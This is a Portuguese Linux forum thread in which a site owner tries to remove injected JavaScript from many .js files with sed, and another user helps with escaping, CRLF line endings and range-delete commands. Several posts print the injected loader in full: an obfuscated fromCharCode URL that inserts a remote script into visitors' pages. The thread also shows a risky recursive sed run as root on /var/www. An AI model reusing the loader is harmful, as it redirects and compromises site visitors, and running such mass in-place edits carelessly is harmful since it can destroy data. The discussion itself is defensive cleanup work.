Erro ao editar/manipular multíplos arquivos javascript com sed

1. Erro ao editar/manipular multíplos arquivos javascript com sed

Jonas Rafael
jonasrafael

(usa FreeBSD)

Enviado em 10/11/2019 - 00:57h

Boa noite,
estou tentando remover um código malicioso que adicionaram nos arquivos .js e não consigo de jeito nenhum dá um erro, até agora não consegui descobrir se é erro de caracter ou o que. To desesperado.

Código Malicioso de Redirecionamento que aparece nos arquivos .js:
var gdjfgjfgj235f = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}/


Código que tentei para remover esses códigos:
sed -i 's/var gdjfgjfgj235f = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}//g'


Erro: sed: -e expression #1, char 3: expected newer version of sed




  


2. Re: Erro ao editar/manipular multíplos arquivos javascript com sed

Marcelo Oliver
msoliver

(usa Debian)

Enviado em 10/11/2019 - 09:46h

jonasrafael escreveu:

Boa noite,
estou tentando remover um código malicioso que adicionaram nos arquivos .js e não consigo de jeito nenhum dá um erro, até agora não consegui descobrir se é erro de caracter ou o que. To desesperado.

Código Malicioso de Redirecionamento que aparece nos arquivos .js:
var gdjfgjfgj235f = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}/


Código que tentei para remover esses códigos:
sed -i 's/var gdjfgjfgj235f = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}//g'


Erro: sed: -e expression #1, char 3: expected newer version of sed


Jonas,
Tem que escapar os caracteres:
( )} { / ;
Obs.:
Não é necessário colocar o código inteiro, case o início e o final, veja o exemplo na minha assinatura.



Importante: echo -e "$(lynx --dump goo.gl/a9KeFc|sed -nr '/^[ ]+Se/,/dou.$/p')"
Att.: Marcelo Oliver


3. Não consegui

Jonas Rafael
jonasrafael

(usa FreeBSD)

Enviado em 10/11/2019 - 13:57h

Tentei colocar o ^ e / antes dos caracteres e não deu boa. Desculpa a ignorancia, tem algum site ou ferramenta que pegue esse código e imprima no formato para que sed limpar? Desculpa mas to desesperado com isso.


4. Re: Erro ao editar/manipular multíplos arquivos javascript com sed

Marcelo Oliver
msoliver

(usa Debian)

Enviado em 10/11/2019 - 14:20h

jonasrafael escreveu:

Tentei colocar o ^ e / antes dos caracteres e não deu boa. Desculpa a ignorancia, tem algum site ou ferramenta que pegue esse código e imprima no formato para que sed limpar? Desculpa mas to desesperado com isso.

para escapar, use a barra invertida.
O ^ indica início.
Explicando o sed da minha assinatura.
Casa a linha que inicia com espaços e a palavra Se até a linha que termina com a palavra dou.
Poste a página inteira, assim tenho como montar o sed.
Teste o comando abaixo:
sed -n '/^var gdjfgjfgj235f.*/,/^\}\/$/p' pagina.html
Se mostrar no terminal, exatamente o trecho do texto que quer eliminar,
Faça:
sed -i '/^var gdjfgjfgj235f.*/,/^\}\/$/d' pagina.html

_________________________________________________________________
Importante: echo -e "$(lynx --dump goo.gl/a9KeFc|sed -nr '/^[ ]+Se/,/dou.$/p')"
Att.: Marcelo Oliver
_________________________________________________________________


5. Opa amigo, tentei com os argumentos de substituir e não deu boa

Jonas Rafael
jonasrafael

(usa FreeBSD)

Enviado em 11/11/2019 - 10:46h

var gdjfgjfgj235f = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}/
/* Codigo normal... Elfsight (c) elfsight.com */
!function(t,e){"use strict";var


Já tentei de tudo, inclusive colocar esse código que você me passou com os argumentos sed -i e /g no final estou fazendo algo errado?


6. Postei o codigo inteiro

Jonas Rafael
jonasrafael

(usa FreeBSD)

Enviado em 11/11/2019 - 13:36h

Subi o código no pastebin assim não fica poluído o tópico aqui, olha como aparece o injection: https://pastebin.com/Avnnf5d0


7. Re: Erro ao editar/manipular multíplos arquivos javascript com sed

Marcelo Oliver
msoliver

(usa Debian)

Enviado em 11/11/2019 - 17:03h


jonasrafael escreveu:

Subi o código no pastebin assim não fica poluído o tópico aqui, olha como aparece o injection: https://pastebin.com/Avnnf5d0

Não vai funcionar, seu arquivo é do windows!!!!! 

file javascript_files.js
javascript_files.js: ASCII text, with very long lines, with CRLF line terminators

__________________________________________________________________
Importante: echo -e "$(lynx --dump goo.gl/a9KeFc|sed -nr '/^[ ]+Se/,/dou.$/p')"
Att.: Marcelo Oliver
__________________________________________________________________



8. Não entendi ;/

Jonas Rafael
jonasrafael

(usa FreeBSD)

Enviado em 11/11/2019 - 17:49h

Como assim arquivo do windows? é só um arquivo .js


9. Re: Erro ao editar/manipular multíplos arquivos javascript com sed

Marcelo Oliver
msoliver

(usa Debian)

Enviado em 11/11/2019 - 18:24h

jonasrafael escreveu:

Como assim arquivo do windows? é só um arquivo .js

Assim!!!!
A saída dos comandos falam por si só!!!! rsrsrsrsrsrs
file javascript_files.js
javascript_files.js: ASCII text, with very long lines, with CRLF line terminators

Para seu conhecimento:
CRLF line terminators
É o FIM de LINHA de arquivos gerados no DOS/Windows. CR+LF
Arquivos de texto gerados no Linux, terminam com LF.
VEJA!!!
https://pt.wikipedia.org/wiki/Nova_linha
Os comandoS do LINUX Só funcionarão COM ESSE FORMATO,
Se o comando for adequado a terminação da linha

Testei aqui, Debian 10.1 e funcionou!
sed -i '/var gdjfgjfgj235f.*/,/^^M$/d' javascript_files.js 

__________________________________________________________________
Importante: echo -e "$(lynx --dump goo.gl/a9KeFc|sed -nr '/^[ ]+Se/,/dou.$/p')"
Att.: Marcelo Oliver
___________________________________________________________________


10. Re: Erro ao editar/manipular multíplos arquivos javascript com sed

Jonas Rafael
jonasrafael

(usa FreeBSD)

Enviado em 12/11/2019 - 00:14h

Tentei esse comando pra ele buscar em todos os arquivos do diretório e salvar automaticamente e não deu :(

root@wdk:/var/www# sed -i '/var gdjfgjfgj235f.*/,/^^M$/d' ^C
root@wdk:/var/www# grep -rl '/var gdjfgjfgj235f.*/,/^^M$/d' | xargs sed -i '/var gdjfgjfgj235f.*/,/^^M$/d'//g

sed: -e expression #1, char 30: extra characters after command



11. Re: Erro ao editar/manipular multíplos arquivos javascript com sed

Marcelo Oliver
msoliver

(usa Debian)

Enviado em 12/11/2019 - 00:35h


jonasrafael escreveu:

Tentei esse comando pra ele buscar em todos os arquivos do diretório e salvar automaticamente e não deu :(

root@wdk:/var/www# sed -i '/var gdjfgjfgj235f.*/,/^^M$/d' ^C
root@wdk:/var/www# grep -rl '/var gdjfgjfgj235f.*/,/^^M$/d' | xargs sed -i '/var gdjfgjfgj235f.*/,/^^M$/d'//g

sed: -e expression #1, char 30: extra characters after command


Se o comando:
grep -rl '/var gdjfgjfgj235f.*/,/^^M$/d'
Funcionar, nunca MAIS me proponho a mexer com ShellScript!!!!
Isso é uma aberração!!!!
Vai destruir tudo , ainda está logado com o root!!!!

Att.: Marcelo Oliver


12. Re: Erro ao editar/manipular multíplos arquivos javascript com sed

Jonas Rafael
jonasrafael

(usa FreeBSD)

Enviado em 12/11/2019 - 00:48h

Desculpa amigo, loguei com o root pq quero ter a certeza que ele vai escanear todo o servidor e buscar por esse código e deletar de dentro dos arquivos (não deletar os arquivos). Agora fiquei na duvida, rs...

- Quando você disse vai destruir tudo... Vai apagar os arquivos ou só remover o conteúdo encontrado?



01 02



Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts